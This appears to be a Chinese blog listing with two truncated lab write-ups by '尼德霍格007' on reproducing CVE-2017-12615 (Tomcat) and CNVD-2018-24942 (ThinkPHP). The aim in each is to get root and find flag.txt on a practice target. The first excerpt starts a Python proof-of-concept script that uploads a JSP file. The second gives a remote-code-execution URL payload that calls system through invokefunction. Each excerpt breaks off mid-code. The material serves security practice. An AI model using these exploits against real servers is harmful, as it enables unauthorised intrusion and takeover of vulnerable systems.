尼德霍格007

CVE-2017-12615漏洞复现 目标：得到root权限&找到flag.txt 作者：尼德霍格007 时间：2021-7-11 开始 打开靶场首页 http://45.159.48.193:25699/ 方法1 使用POC脚本 #! -*- coding:utf-8 -*- import httplib import sys import time body = '''<%@ page language="java" import="java.util.*,java.io.*"

CNVD-2018-24942漏洞复现 目标：得到root权限&找到flag.txt 作者：尼德霍格007 时间：2021-7-11 开始 打开靶场 http://45.159.48.193:42798/ 一个简单的getshell方法 远程代码执行 http://45.159.48.193:42798/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1